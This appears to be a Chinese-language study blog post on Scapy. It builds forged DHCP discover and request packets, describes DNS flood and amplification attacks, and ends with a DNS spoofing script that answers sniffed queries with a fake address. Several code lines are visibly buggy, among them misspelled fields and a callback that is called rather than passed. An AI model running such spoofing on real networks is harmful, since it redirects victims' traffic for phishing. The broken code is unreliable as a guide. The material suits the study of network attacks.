Scapy的简单使用
python模拟DHCP客户端
DHCP原理
我们需要发送两个包,第一个发一个广播说我需要一个ip。等待DHCP服务器回应。
构造的数据包需要有五个协议。Ether, IP, UDP, BOOTP DHCP
其中关于BOOTP的属性如下:BOOTP是DHCP的引导协议。
关于BOOTP协议包里面的属性:
op : ByteEnumField = ('1') 操作类型
htype : ByteEnumField = ('1') 硬件地址类型
hlen : ByteField = ('6') 硬件地址长度
hops : ByteField = ('0') 跳数
xid : XIntField = ('0') 事务id(记录一次请求过程)
secs : ShortField = ('0') 经过时间
flags : FlagsField = ('<Flag 0 ()>') BOOTP标志位
ciaddr : IPField = ("'0.0.0.0'") DHCP客户端IP
yiaddr : IPField = ("'0.0.0.0'") DHCP分配的IP
siaddr : IPField = ("'0.0.0.0'") 其他DHCP的分的IP
giaddr : IPField = ("'0.0.0.0'") 转发代理IP
chaddr : _BOOTP_chaddr = ("b''") 自己MAC地址
sname : StrFixedLenField = ("b''") 服务器名称
file : StrFixedLenField = ("b''") 指定的配置文件名称
options : StrEnumField = ("b''") 可选选项
None
DHCP模拟发送请求
import random
from scapy.all import *
import binascii
from scapy.layers.dhcp import BOOTP, DHCP
from scapy.layers.inet import IP, UDP
from scapy.layers.l2 import Ether
xid_random = random.randint(1,900000000)
mac_random = str(RandMAC())
client_mac_id = binascii.unhexlify(mac_random.replace(':',''))
print(mac_random)
dhcp_discover = Ether(src=mac_random,dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0",dst="255.255.255.255") / UDP(sport=68,dport=67) / BOOTP(chaddr=client_mac_id,xid=xid_random) / DHCP(options=[("message-type","discover"),"end"])
sendp(dhcp_discover,iface="WLAN")
print("\n\n\nSending DHCPDISCOVER on:"+"WLAN")
这里我遇到了点问题,发送的广播一直得不到回应。书上用sendp函数都能收到dhcp服务器的回应dhcp offer。我这里换成sr函数后还是没有回应。
from scapy.all import *
from scapy.layers.dhcp import DHCP, BOOTP
from scapy.layers.inet import UDP, IP
from scapy.layers.l2 import Ether
def detect_dhcp(pkt):
if DHCP in pkt:
if pkt[DHCP].options[0][1]==2:
Ether_Request = Ether(src=pkt[Ether].dst,dst="ff:ff:ff:ff:ff:ff")
IP_Request = IP(src="0.0.0.0",dst="255.255.255.255")
UDP_Request = UDP(sport=68,dport=67)
BOOTP_Request = BOOTP(CHADDR=pkt[BOOTP].chaddr,xid=pkt[BOOTP].xid)
DHCP_Request = DHCP(options=[("message-type","request"),("server_id",pkt[DHCP].options[1][1]),("requested_addr",pkt[BOOTP].yiaddr),"end"])
Request = Ether_Request / IP_Request / UDP_Request / BOOTP_Request / DHCP_Request
sendp(Request,iface="WLAN")
print(pkt[BOOTP].yiaddr+"正在分配")
if pkt[DHCP].options[0][1] == 5:
print(pkt[BOOTP].yiaddr+"已经分配")
sniff(filter="src port 67",iface="WLAN",prn=detect_dhcp,count=10)
简单来说,dhcp就是本机在只有MAC地址的情况下,向DHCP服务器请求IP的一个过程。hacker在网络中常常会建造伪装的DHCP服务器的方式来进行钓鱼。
DNS协议
概念解释
DNS泛洪攻击:感觉有点类似DDOS,都是向DNS服务器发送大量请求导致网速变慢或者无法访问
DNS放大攻击:DNS的应答数据包要比请求包大的多,hacker可伪造受害者ip发送DNS请求,从而影响受害者。
DNS服务端组织架构:
DNS欺骗
from scapy.all import *
from scapy.layers.dns import DNS, DNSRR
from scapy.layers.inet import UDP, IP
def dns_spoof(pkt):
testlist=["www.namp.org"]
if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: #haslayer判断数据包是否包含某一协议内容 getlayer用来提取该协议内容
ip = pkt.getlayer(IP)
udp = pkt.getlayer(UDP)
dns = pkt.getlayer(DNS)
testdomain = dns.qd.qname.decode()[:-1]
if testdomain in testlist:
resp = IP(src=ip.dst,dst=ip.src)
resp /= UDP(sport=udp.dport,dport=udp.port)
resp /= DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,radta="192.168.1.1"))
send(resp)
print("DNS的应答被篡改")
sniff(filter="udp dst port 53",iface="WLAN",prn=dns_spoof())